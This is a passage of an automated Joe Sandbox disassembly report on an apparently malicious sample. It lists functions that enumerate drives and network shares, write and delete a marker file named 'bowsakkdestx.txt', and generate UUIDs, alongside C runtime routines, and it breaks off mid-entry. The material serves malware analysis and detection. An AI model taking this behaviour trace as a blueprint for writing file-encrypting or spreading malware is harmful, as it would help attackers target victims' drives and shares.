SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C51B
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C539

Strings

bowsakkdestx.txt, xrefs: 0040C52D

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: Path$AppendFolder
String ID: bowsakkdestx.txt
API String ID: 29327785-2616962270
Opcode ID: ba6770418a514e061c64693ffdbf2edbdfd545916963a0667ce2a0b7d493bc5b
Instruction ID: a05810460da3035b09b2d6f50620da2975429261b58b3288bff945a9ad0f9da5
Opcode Fuzzy Hash: ba6770418a514e061c64693ffdbf2edbdfd545916963a0667ce2a0b7d493bc5b
Instruction Fuzzy Hash: 281127B2B4023833D930756A7C87FEB735C9B42725F4001B7FE0CA2182A5AE554501E9

Uniqueness

Uniqueness Score: -1.00%

Function 0041BA80 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(00000000,LPCWSTRszWindowClass,LPCWSTRszTitle,00CF0000,80000000,00000000,80000000,00000000,00000000,00000000,?,00000000), ref: 0041BAAD
ShowWindow.USER32(00000000,00000000), ref: 0041BABE
UpdateWindow.USER32(00000000), ref: 0041BAC5

Strings

LPCWSTRszTitle, xrefs: 0041BA9B
LPCWSTRszWindowClass, xrefs: 0041BAA0

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: Window$CreateShowUpdate
String ID: LPCWSTRszTitle$LPCWSTRszWindowClass
API String ID: 2944774295-3503800400
Opcode ID: a65d1e0183acb99785454671d95aa34da9e61ee796a7d373e4ca79d97c1a5a0d
Instruction ID: 93e3ae8c3ab6e4512016b3ef7200399996c0305a41779b72c5d02abe3f8cd5ff
Opcode Fuzzy Hash: a65d1e0183acb99785454671d95aa34da9e61ee796a7d373e4ca79d97c1a5a0d
Instruction Fuzzy Hash: 08E04F316C172077E3715B15BC5BFDA2918FB05F10F308119FA14792E0C6E569428A8C

Uniqueness

Uniqueness Score: -1.00%

Function 00410BD0 Relevance: 7.7, APIs: 5, Instructions: 234sharememoryCOMMON

Download Yara Rule

APIs

WNetOpenEnumW.MPR(00000002,00000000,00000000,?,?), ref: 00410C12
GlobalAlloc.KERNEL32(00000040,00004000,?,?), ref: 00410C39
_memset.LIBCMT ref: 00410C4C
WNetEnumResourceW.MPR(?,?,00000000,?), ref: 00410C63

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: Enum$AllocGlobalOpenResource_memset
String ID:
API String ID: 364255426-0
Opcode ID: c593f9ddfc12760f3eff0e8065bbbd6a980f194dc76d13cdd9d46ce453e91173
Instruction ID: bd97fe2cb621df6ca28f66a093f1f6e361520364a30ff1ea4190286e2c40543e
Opcode Fuzzy Hash: c593f9ddfc12760f3eff0e8065bbbd6a980f194dc76d13cdd9d46ce453e91173
Instruction Fuzzy Hash: 0F91B2756083418FD724DF55D891BABB7E1FF84704F14891EE48A87380E7B8A981CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 004416EB Relevance: 7.6, APIs: 5, Instructions: 112COMMON

Download Yara Rule

APIs

__getenv_helper_nolock.LIBCMT ref: 00441726
_strlen.LIBCMT ref: 00441734

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

_strnlen.LIBCMT ref: 004417BF
__lock.LIBCMT ref: 004417D0
__getenv_helper_nolock.LIBCMT ref: 004417DB

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__lock_strlen_strnlen
String ID:
API String ID: 2168648987-0
Opcode ID: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction ID: 706a9fbf285425ec29b4e33d2635255339e15eb248031f995e6227ac9da9c0f4
Opcode Fuzzy Hash: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction Fuzzy Hash: A131FC31741235ABEB216BA6EC02B9F76949F44B64F54015BF814DB391DF7CC88046AD

Uniqueness

Uniqueness Score: -1.00%

Function 00410A50 Relevance: 7.6, APIs: 5, Instructions: 104COMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNEL32 ref: 00410A75
SetErrorMode.KERNEL32(00000001,00500234,00000002), ref: 00410AE2
PathFileExistsA.SHLWAPI(?), ref: 00410AF9
SetErrorMode.KERNEL32(00000000), ref: 00410B02
GetDriveTypeA.KERNEL32(?), ref: 00410B1B

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: ErrorMode$DriveDrivesExistsFileLogicalPathType
String ID:
API String ID: 2560635915-0
Opcode ID: 6431ecd4352623c8ea5b40f1f1ea1a8b08bc26eb066019d8721179985482c109
Instruction ID: e48b338c548d72163c5ae3f73f283317dfaad29deff82c686574d6b9df2ed0f8
Opcode Fuzzy Hash: 6431ecd4352623c8ea5b40f1f1ea1a8b08bc26eb066019d8721179985482c109
Instruction Fuzzy Hash: 6141F271108340DFC710DF69C885B8BBBE4BB85718F500A2EF089922A2D7B9D584CB97

Uniqueness

Uniqueness Score: -1.00%

Function 0043B6FF Relevance: 7.6, APIs: 5, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0043B70B

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: HeapAlloc.KERNEL32(005C0000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_free.LIBCMT ref: 0043B71E

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: AllocHeap_free_malloc
String ID:
API String ID: 2734353464-0
Opcode ID: ac30be484878ed1c1fbcd2781803b0d6d497061a6a5de6108b0294a208768cdb
Instruction ID: cebe638eb0ed40525ab660a1b273922ca7a171140340163af9fc546bca46de76
Opcode Fuzzy Hash: ac30be484878ed1c1fbcd2781803b0d6d497061a6a5de6108b0294a208768cdb
Instruction Fuzzy Hash: F411EB31504725EBCB202B76BC85B6A3784DF58364F50512BFA589A291DB3C88408ADC

Uniqueness

Uniqueness Score: -1.00%

Function 0041F070 Relevance: 7.5, APIs: 5, Instructions: 49windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(00000012,00000000,00000000), ref: 0041F085
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041F0AC
DispatchMessageW.USER32(?), ref: 0041F0B6
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041F0C4
WaitForSingleObject.KERNEL32(0000000A), ref: 0041F0D2

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 6d24f8cffcb6546f687f670e27dc83223b8af0f876a489368cdeea614c080f41
Instruction ID: 8330a25206e7a7c758b309db49295e470543d34b7ed76d4368c5dbe794fa98e6
Opcode Fuzzy Hash: 6d24f8cffcb6546f687f670e27dc83223b8af0f876a489368cdeea614c080f41
Instruction Fuzzy Hash: 5C01DB35A4030876EB30AB55EC86FD63B6DE744B00F148022FE04AB1E1D7B9A54ADB98

Uniqueness

Uniqueness Score: -1.00%

Function 0041E500 Relevance: 7.5, APIs: 5, Instructions: 49windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(00000012,00000000,00000000), ref: 0041E515
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041E53C
DispatchMessageW.USER32(?), ref: 0041E546
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041E554
WaitForSingleObject.KERNEL32(0000000A), ref: 0041E562

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: fff4340a71da7ea92c1385820b9327139908f6a11ddf48d1b12da68ebdd54261
Instruction ID: 59d9cfd0379212e31388a7928d285390ad7449125cd170d7d310b1f6820545b5
Opcode Fuzzy Hash: fff4340a71da7ea92c1385820b9327139908f6a11ddf48d1b12da68ebdd54261
Instruction Fuzzy Hash: 3301DB35B4030976E720AB51EC86FD67B6DE744B04F144011FE04AB1E1D7F9A549CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0041FA40 Relevance: 7.5, APIs: 5, Instructions: 48windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00000012,00000000,00000000), ref: 0041FA53
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FA71
DispatchMessageW.USER32(?), ref: 0041FA7B
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FA89
WaitForSingleObject.KERNEL32(?,0000000A,?,00000012,00000000,00000000), ref: 0041FA94

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction ID: 7dc02704ba958b7d98511173c4623a4fa8f2b4100db45197b38ae147ea501182
Opcode Fuzzy Hash: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction Fuzzy Hash: 6301AE31B4030577EB205B55DC86FA73B6DDB44B40F544061FB04EE1D1D7F9984587A4

Uniqueness

Uniqueness Score: -1.00%

Function 0041FDF0 Relevance: 7.5, APIs: 5, Instructions: 48windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00000012,00000000,00000000), ref: 0041FE03
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FE21
DispatchMessageW.USER32(?), ref: 0041FE2B
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FE39
WaitForSingleObject.KERNEL32(?,0000000A,?,00000012,00000000,00000000), ref: 0041FE44

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction ID: d705e8d6a79994c6a13c6d22e65b3a6180ae01e64e8e6a22fa5ca061b0d405f5
Opcode Fuzzy Hash: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction Fuzzy Hash: 3501A931B80308B7EB205B95ED8AF973B6DEB44B00F144061FA04EF1E1D7F5A8468BA4

Uniqueness

Uniqueness Score: -1.00%

Function 00417BA0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 188COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00417C6A
_memmove.LIBCMT ref: 00417CD4

Strings

string too long, xrefs: 00417D36
invalid string position, xrefs: 00417D2C

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: b2c1af29de5962b74b57e5661815869f54c56e8a90a0ab9c91a19098a667a223
Instruction ID: 16eedd03d570a769cf24423414cb71a1906862ef28ca1dd771941f38c47b8a04
Opcode Fuzzy Hash: b2c1af29de5962b74b57e5661815869f54c56e8a90a0ab9c91a19098a667a223
Instruction Fuzzy Hash: C451C3317081089BDB24CE1CD980AAA77B6EF85714B24891FF856CB381DB35EDD18BD9

Uniqueness

Uniqueness Score: -1.00%

Function 00414160 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004141E4
_memmove.LIBCMT ref: 00414215

Strings

string too long, xrefs: 00414256
invalid string position, xrefs: 00414260

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 1860cadd0784f8812835e732d2f60387060861baec5cac242feb419a09eb11c6
Instruction ID: c789d4a5c221ce0c411dffae1b259be01e75b302f83ceaf2f45b858c9c7e4579
Opcode Fuzzy Hash: 1860cadd0784f8812835e732d2f60387060861baec5cac242feb419a09eb11c6
Instruction Fuzzy Hash: 3D311430300204ABDB28DE5CD8859AA77B6EFC17507600A5EF865CB381D739EDC18BAD

Uniqueness

Uniqueness Score: -1.00%

Function 00425341 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 91COMMONLIBRARYCODE

Download Yara Rule

APIs

_wcsnlen.LIBCMT ref: 00425354

Strings

U, xrefs: 0042535D

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: _wcsnlen
String ID: U
API String ID: 3628947076-3372436214
Opcode ID: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
Instruction ID: 96f9a77ca4cc4fe958c434aa827cb810c13d5acf0ea92317e974609e7887e837
Opcode Fuzzy Hash: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
Instruction Fuzzy Hash: 6521C9717046286BEB10DAA5BC41BBB739CDB85750FD0416BFD08C6190EA79994046AD

Uniqueness

Uniqueness Score: -1.00%

Function 0045AD50 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 91COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0045AD72
_memset.LIBCMT ref: 0045AE15

Strings

C7F, xrefs: 0045AD51, 0045AD56, 0045AD69, 0045AE0B, 0045AE14
.\crypto\buffer\buffer.c, xrefs: 0045AD8B, 0045ADBE, 0045ADD0, 0045ADE7

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\buffer\buffer.c$C7F
API String ID: 2102423945-2013712220
Opcode ID: fce9da4f2685e8a546a1aead5558aa77959c7a2ce52c5fe1bdde6675f364ff59
Instruction ID: 54406e9f1970e0e1dce797ef07034894a3cffcceb7efccd845a222dac3d76e8e
Opcode Fuzzy Hash: fce9da4f2685e8a546a1aead5558aa77959c7a2ce52c5fe1bdde6675f364ff59
Instruction Fuzzy Hash: 91216DB1B443213BE200655DFC83B15B395EB84B19F104127FA18D72C2D2B8BC5982D9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C5C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

UuidCreate.RPCRT4(?), ref: 0040C5DA
UuidToStringA.RPCRT4(?,?), ref: 0040C5F6
RpcStringFreeA.RPCRT4(?), ref: 0040C640

Strings

8a4577dc-de55-4eb5-b48a-8a3eee60cd95, xrefs: 0040C687

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: StringUuid$CreateFree
String ID: 8a4577dc-de55-4eb5-b48a-8a3eee60cd95
API String ID: 3044360575-2335240114
Opcode ID: 5898d431aa7bc51d8275c67bd3d0945cf80b17b08d4c1006f571a635e441fa64
Instruction ID: 0eb901185732211e3be4e37390737b2086ad5c5ed8a4bd7d6c842829bf201ec1
Opcode Fuzzy Hash: 5898d431aa7bc51d8275c67bd3d0945cf80b17b08d4c1006f571a635e441fa64
Instruction Fuzzy Hash: 6C21D771208341ABD7209F24D844B9BBBE8AF81758F004E6FF88993291D77A9549879A

Uniqueness

Uniqueness Score: -1.00%

Function 0040C470 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C48B
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C4A9

Strings

bowsakkdestx.txt, xrefs: 0040C49D

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: Path$AppendFolder
String ID: bowsakkdestx.txt
API String ID: 29327785-2616962270
Opcode ID: cacc9ec5c69f508a09e097335cbe8ae863f85dc58f645bd4f6fa7f4b17594c00
Instruction ID: 3b6c08389df4e48a430741a1ce4ce94f3584f996b8880ee9781e1533d320f445
Opcode Fuzzy Hash: cacc9ec5c69f508a09e097335cbe8ae863f85dc58f645bd4f6fa7f4b17594c00
Instruction Fuzzy Hash: 8701DB72B8022873D9306A557C86FFB775C9F51721F0001B7FE08D6181E5E9554646D5

Uniqueness

Uniqueness Score: -1.00%

Function 00423B4C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00423B64

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: HeapAlloc.KERNEL32(005C0000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

std::exception::exception.LIBCMT ref: 00423B82
__CxxThrowException@8.LIBCMT ref: 00423B97

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

Strings

bad allocation, xrefs: 00423B77

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: AllocExceptionException@8HeapRaiseThrow_mallocstd::exception::exception
String ID: bad allocation
API String ID: 1059622496-2104205924
Opcode ID: eeb942be7a8daecd01f402b1fc71538ff316d088b395842a07765e87b7e27695
Instruction ID: 445f5c97f97310cbd08f0009147839d9c604c92f3643d32107fe893a2d7397f3
Opcode Fuzzy Hash: eeb942be7a8daecd01f402b1fc71538ff316d088b395842a07765e87b7e27695
Instruction Fuzzy Hash: 74F0F97560022D66CB00AF99EC56EDE7BECDF04315F40456FFC04A2282DBBCAA4486DD

Uniqueness

Uniqueness Score: -1.00%

Function 0041BA10 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 24registryCOMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F00), ref: 0041BA4A
RegisterClassExW.USER32(00000030), ref: 0041BA73

Strings

0, xrefs: 0041BA1D
LPCWSTRszWindowClass, xrefs: 0041BA65

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: ClassCursorLoadRegister
String ID: 0$LPCWSTRszWindowClass
API String ID: 1693014935-1496217519
Opcode ID: fbf28ebe5b3b724a216796b7602f5ba5b22e3d17e3910e7f530213bb4edbfbf6
Instruction ID: 39b267f2af3e8e8601893d5e13e9f0aceec8bb1d15aa8544f670d774de374bdc
Opcode Fuzzy Hash: fbf28ebe5b3b724a216796b7602f5ba5b22e3d17e3910e7f530213bb4edbfbf6
Instruction Fuzzy Hash: 64F0AFB0C042089BEB00DF90D9597DEBBB8BB08308F108259D8187A280D7BA1608CFD9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C420 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C438
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C44E
DeleteFileA.KERNEL32(?), ref: 0040C45B

Strings

bowsakkdestx.txt, xrefs: 0040C442

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: Path$AppendDeleteFileFolder
String ID: bowsakkdestx.txt
API String ID: 610490371-2616962270
Opcode ID: 51c9fbb63abd04c953cc1c90cd388c2580edec88c84091088bf86cba3f20ed90
Instruction ID: 22f96f022367e4ecd8cb06d74e3ea6c1a096c1ee21cc35b9366b07434c4c4e8f
Opcode Fuzzy Hash: 51c9fbb63abd04c953cc1c90cd388c2580edec88c84091088bf86cba3f20ed90
Instruction Fuzzy Hash: 60E0807564031C67DB109B60DCC9FD5776C9B04B01F0000B2FF48D10D1D6B495444E55

Uniqueness

Uniqueness Score: -1.00%

Function 00419E70 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00419EB8
_memset.LIBCMT ref: 00419EC9
_memset.LIBCMT ref: 00419EDA

Strings

p2Q, xrefs: 00419EE2

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: _memset
String ID: p2Q
API String ID: 2102423945-1521255505
Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction ID: 738f0ca8778653557991c93ab9a04937910ac7dae49cf0696bf478295a84fdc8
Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction Fuzzy Hash: C5F03028684750A5F7107750BC667953EC1A735B08F404048E1142A3E2D7FD338C63DD

Uniqueness

Uniqueness Score: -1.00%

Function 0040ECB0 Relevance: 6.2, APIs: 4, Instructions: 204COMMON

Download Yara Rule

APIs

_strtok.LIBCMT ref: 0040ED66
_memmove.LIBCMT ref: 0040EE25

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: _memmove_strtok
String ID:
API String ID: 3446180046-0
Opcode ID: 205b1ec61ce906ac0e6ef9ac2fb6feb778f8951e500b67679f42a44b4349684c
Instruction ID: d0e58e2a66e8e3875a5229d26ee444e1e0210206766639419d48370c530ec9d7
Opcode Fuzzy Hash: 205b1ec61ce906ac0e6ef9ac2fb6feb778f8951e500b67679f42a44b4349684c
